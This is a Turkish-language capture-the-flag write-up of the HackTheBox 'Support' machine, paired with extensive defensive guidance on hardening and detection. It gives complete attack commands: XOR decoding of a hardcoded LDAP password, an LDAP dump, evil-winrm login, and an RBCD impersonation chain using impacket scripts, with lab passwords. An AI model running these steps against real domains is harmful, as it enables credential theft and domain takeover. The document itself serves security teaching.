Support: .NET Binary'den DC'ye
HackTheBox Support makinesinin çözüm zinciri: SMB'de gizli binary, monodis ile XOR kimlik bilgisi, LDAP info alanı şifresi ve RBCD ile DC'ye Administrator.
Support: .NET Binary'den DC'ye#
Karşımda bir Windows Active Directory Domain Controller. Açık portlar Kerberos, LDAP, SMB, WinRM. SMB'de anonim erişimle inebileceğim support-tools paylaşımı, içinde bir UserInfo.exe. Binary .NET. monodis ile IL koduna inip "armando" anahtarı ve 0xDF XOR'u görüyorum, içinden bir LDAP şifresi çıkıyor. LDAP'ı dump edince bir kullanıcının info alanına açık metin şifre yazılmış. WinRM ile user'a giriyorum, BloodHound oklarını takip edince Shared Support Accounts grubunun DC$ üzerinde GenericAll yetkisi olduğunu görüyorum. Sonu klasik: Resource-Based Constrained Delegation ile DC'de Administrator.
Keşif: Karşımda Bir DC Var#
$ nmap -sC -sV -oN nmap_initial.txt 10.129.2.5
53/tcp domain Simple DNS Plus
88/tcp kerberos-sec Microsoft Windows Kerberos
135/tcp msrpc Microsoft Windows RPC
389/tcp ldap Microsoft Active Directory LDAP (Domain: support.htb)
445/tcp microsoft-ds?
5985/tcp http Microsoft HTTPAPI (WinRM)
Port 88 Kerberos demek → neredeyse her zaman Domain Controller. WinRM açık → kullanıcı kimliği bulursam PowerShell ile uzaktan shell.
SMB'de Şüpheli Bir Paylaşım#
$ smbclient -L //10.129.2.5 -N
support-tools Disk support staff tools
$ smbclient //10.129.2.5/support-tools -N
smb: \> get UserInfo.exe.zip
UserInfo.exe bir Mono/.NET binary:
$ file UserInfo/UserInfo.exe
UserInfo/UserInfo.exe: PE32 executable for MS Windows, Intel i386 Mono/.Net assembly
.NET Binary Tersine: monodis ve XOR Bilmecesi#
$ monodis UserInfo.exe | less
// Protected sınıfının static constructor'ında:
ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
ldstr "armando"
getPassword() metodunun pseudo-çevirisi:
data = Convert.FromBase64String(enc_password);
for (int i = 0; i < data.Length; i++) {
V_1[i] = data[i] XOR key[i % key.Length] XOR 223;
}
Python ile çözüyorum:
>>> import base64
>>> data = base64.b64decode(enc)
>>> key = b'armando'
>>> pw = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])
>>> print(pw.decode())
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
// ders: Bir binary'de "şifreleme" diye XOR koymak güvenlik değil, okuyana bir kahve içme zamanı tanıyor. Çözüm: credential'ı Vault/GMSA ile yönetmek.
LDAP Dumping: info Alanı'ndaki Sürpriz#
$ ldapsearch -x -H ldap://10.129.2.5 -D "support\\ldap" -w '...' -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info
sAMAccountName: support
info: Ironside47pleasure40Watchful
Bir kullanıcının info alanına açık metin şifre yazılmış. AD'de info çoğu kullanıcı tarafından okunabilir.
WinRM ile İçeri ve user.txt#
$ evil-winrm -i 10.129.2.5 -u support -p 'Ironside47pleasure40Watchful'
*Evil-WinRM* PS C:\Users\support\Documents> type ..\Desktop\user.txt
// USER FLAG
BloodHound: Yetki Haritasını Çıkartmak#
$ bloodhound-python -u support -p '...' -d support.htb -ns 10.129.2.5 -c All --zip
"Find Shortest Paths to Domain Admins" sonucu:
SUPPORT → MemberOf → SHARED SUPPORT ACCOUNTS → GenericAll → DC$
GenericAll DC$ üzerinde → Resource-Based Constrained Delegation ile tırmanış.
RBCD Acaba Ne?#
RBCD, hangi hesap kime delegation yapabilir bilgisini hedef nesnenin msDS-AllowedToActOnBehalfOfOtherIdentity attribute'ünde saklar. Bu attribute'a kontrol ettiğim bir bilgisayar hesabını yazarsam, o hesap DC$ adına S4U2Proxy ile Administrator dahil her kullanıcıyı taklit edebilir. MachineAccountQuota=10 sayesinde normal bir domain user'ı bilgisayar hesabı açabilir.
Adım Adım Saldırı#
# 1. Sahte makine hesabı
$ python3 addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
-dc-host support.htb support.htb/support:'...'
# 2. DC$ attribute'ını yaz
$ python3 rbcd.py -delegate-from 'FAKE$' -delegate-to 'DC$' -action write \
-dc-ip 10.129.2.5 support.htb/support:'...'
# 3. Administrator ticket'ı al
$ python3 getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator \
-dc-ip 10.129.2.5 'support.htb/FAKE$:FakePass123!'
# 4. Pass-the-Ticket ile komut
$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
$ python3 wmiexec.py -k -no-pass -dc-ip 10.129.2.5 \
support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'
// ROOT FLAG
Saldırı Zinciri#
nmap → SMB anon → UserInfo.exe.zip → monodis XOR → LDAP şifresi → LDAP dump → support şifresi → WinRM → user.txt → BloodHound → GenericAll DC$ → RBCD (FAKE$) → S4U2Proxy → Administrator ticket → root.
Zafiyetler Tablosu#
| # | Zafiyet | Etki | Sınıf |
|---|---|---|---|
| 1 | SMB anonim özel paylaşım | Hassas binary indirme | SMB Misconfiguration |
| 2 | .NET binary'de hardcoded LDAP credential | XOR ile çözülen şifre | Insecure Credential Storage |
| 3 | LDAP info alanında açık metin şifre | Domain-wide görünen şifre | Credential Management |
| 4 | Shared Support Accounts → GenericAll DC$ | DA-equivalent yetki | Excessive AD Privileges |
| 5 | MachineAccountQuota=10 | Sahte hesap üretimi | AD Default Misconfiguration |
Savunma Özeti#
- SMB anonim erişimi mümkün olduğunca kapat; özel paylaşımları hiçbir yerde şifreli binary + hardcoded credential barındırmasın.
- .NET binary'lerine credential gömme: IL kodu herkese okunur geldiği için oyundan çek. Credential'ı oturum açma şeklinde (gMSA/Vault) ver; XOR obfuscation bir güvenlik katmanı değildir.
- LDAP
infoattribute'ü: kullanıcılara şifre, token, geçici parola yazan varsa derhal temizle; anonim/limited erişimde field maskeleme uygula. - AD varsayılanları:
MachineAccountQuota=0yap, delegasi hakkıGenericAllyerine en küçük yetki ile ver,msDS-AllowedToActOnBehalfOfOtherIdentityattribute'ünü gerçekten gerekmedikçe boş bırak. BloodHound ile kendi domain'ini tarayıp aşırı hak zincirini periyodik olarak temizle.
// RAPOR SONU Etiketler: HTB / AD / .NET RE / LDAP / RBCD / S4U2Proxy
Güven Sınırı#
anonim SMB --> support-tools paylaşımı --> UserInfo.exe (.NET) | v monodis -> XOR -> LDAP şifresi | v LDAP dump -> info alanı şifresi | v WinRM --> BloodHound --> RBCD --> DC
İlk sınır anonim SMB erişimi, ikinci sınır .NET binary içindeki zayıf XOR, üçüncü sınır LDAP info alanının görünürlüğü, dördüncü sınır AD'deki aşırı delegasyon hakkı. Her sınır inceltilmiş olsaydı DC'ye ulaşılmazdı.
Tespit#
infoalanında düz metin şifre bulunması: LDAP attribute'lerinde düzenli tarama ile çıkar.- MachineAccountQuota'nın 10 olması: varsayılan AD yapılandırması; 0'a indirilmesi gerekir.
- GenericAll DC$ üzerinde: BloodHound ile periyodik tarama, aşırı hak zincirlerini görünür kılar.
- SMB anonim paylaşım: ağ taraması ve paylaşım denetimi.
Sınırlılıklar#
- XOR + sabit anahtar, .NET binary'sinde her zaman çözülebilir; ufukta güvenlik sınırı yoktur.
- RBCD zinciri, MachineAccountQuota=0 ve GenericAll kısıtıyla tamamen kapanır; sadece parola değişimi yetmez.
- Lab makinesi senaryosu: gerçek ortamda LDAP
infoalanına erişim domain user ile sınırlı olabilir ve anonim dump engellenebilir.
Cikarilar#
- Binary içindeki XOR "şifreleme" değildir.
- LDAP
infoattribute'ü parola taşımaz. - MachineAccountQuota varsayılanı değiştirilmeden AD sertleşmez.
- GenericAll DC$ üzerinde DA-eşdeğeri yetkidir.
- Şifre yönetimi için GMSA veya vault kullan.
Monodis Çıktısından Parolaya#
IL kodunda armando anahtarı ve 0xDF baytı görüldüğünde çözüm tek satır:
data = base64.b64decode(enc) key = b'armando' pw = bytes(d ^ key[i % len(key)] ^ 0xDF for i, d in enumerate(data)) print(pw.decode())
Bu çıktı, defender için de tarama girdisidir: binary'lerde XOR, base64 ve sabit string yan yanaysa şüphe yükselir. Statik analiz otomasyonu bu kalıbı yakalayabilir.
LDAP Dump Satırı#
ldapsearch -x -H ldap://10.129.2.5 -D 'support\\ldap' -w '...' \ -b 'DC=support,DC=htb' '(objectClass=user)' sAMAccountName info
info alanı, kullanıcı tarafından girilen notları taşır ve çoğu domain user tarafından okunabilir. Düzeltici kural basit: parola, token, geçici parola bu alana yazılmaz.
BloodHound Okları#
bloodhound-python -u support -p '...' -d support.htb -ns 10.129.2.5 -c All --zip
Shortest path: SUPPORT -> SHARED SUPPORT ACCOUNTS -> GenericAll -> DC$. Bu zincir, RBCD'nin devreye girmesi için yeterliydi. Defansif tarafta aynı okları kendin çekip ortadan kaldırmak gerekir.
RBCD Tek Cümleyle#
Hedef makinenin msDS-AllowedToActOnBehalfOfOtherIdentity attribute'üne kontrolündeki bir bilgisayar hesabını yazmak, o hesabın DC adına S4U2Proxy ile Administrator dahil her kullanıcıyı taklit edebilmesini sağlar. MachineAccountQuota ile sahte hesap açılabildiği için zincir kapanır.
Saldırı Adımları#
python3 addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \ -dc-host support.htb support.htb/support:'...' python3 rbcd.py -delegate-from 'FAKE$' -delegate-to 'DC$' -action write \ -dc-ip 10.129.2.5 support.htb/support:'...' python3 getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator \ -dc-ip 10.129.2.5 'support.htb/FAKE$:FakePass123!' export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache python3 wmiexec.py -k -no-pass -dc-ip 10.129.2.5 \ support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'
Log Kaynakları#
- LDAP sorgu logları:
infoalanına yapılan toplu okumalar. - SMB erişim logları: anonim açılan
support-tools. - Kerberos: S4U2Proxy bilet istekleri.
- AD değişiklik logları:
msDS-AllowedToActOnBehalfOfOtherIdentityyazımları.
Bu dört kaynak, zincirin her halkasını görünür kılar. Defansif izleme bu logları bir araya getirmeden RBCD denemelerini yakalayamaz.
Savunma Kontrol Listesi#
- SMB anonim erişimi kapalı
-
infoattribute'ünde sır yok - MachineAccountQuota 0
-
msDS-AllowedToActOnBehalfOfOtherIdentitygereksiz yere dolu değil - GenericAll DC$ üzerinde yok
- .NET binary'lerinde GMSA/vault kullanılıyor, XOR yok
Sıralama Notları#
Zinciri kıran faktör, tek bir zafiyet değildi: anonim SMB paylaşımı binary'i verdi, binary XOR'u çözdürdü, LDAP info alanı parolayı verdi, BloodHound zinciri RBCD'ye bağladı. Her biri tek satırlık konfigürasyonla kapanırdı.
Özet#
Support makinesi, .NET RE, LDAP attribute okuma ve AD delegasyon hatlarının üst üste geldiği bir örnek. Her halkada hem exploit komutu hem de savunma düzeltmesi var. Makineyi kök alan zincir, defender'ın periyodik BloodHound taramasıyla önleyici olarak görülebilirdi.
Bu tablo, defender için doğrudan iş listesidir: her satır bir konfigürasyon maddesi.
RBCD bilet istekleri Kerberos loglarında S4U2Proxy olarak görünür, alert kuralı tek satırdır.
Komut Özeti#
ldapsearch ... # info alanı parola evil-winrm ... # user.txt bloodhound-python ... -c All --zip addcomputer.py / rbcd.py / getST.py / wmiexec.py
Bu beş adımlık zincir, AD sertleştirme listesini doğrudan test eder. Her komutun karşılığında bir log kaynağı ve bir konfigürasyon düzeltmesi vardır.
Makine tamamen bir konfigürasyon hatası zinciri; exploit kodu bile gerekmeden tespit edilebilirdi.
Savunma da aynı yüzeyde: paylaşım, attribute, quota, delegasyon, binary.
Zincirin her halkası, tek satırlık audit ile görünür olur.
Tespit edilmeyen tek şey, taranmayan olandır.
Kaynak Notları#
- SMB anon paylaşımından
.zipbinary indirildi. monodis+ XOR ile LDAP parolası çıkarıldı.infoalanından ikinci parola bulundu.- BloodHound ile RBCD zinciri kuruldu.
Ne düşünüyorsun?
Tepki bırakarak geri bildirim ver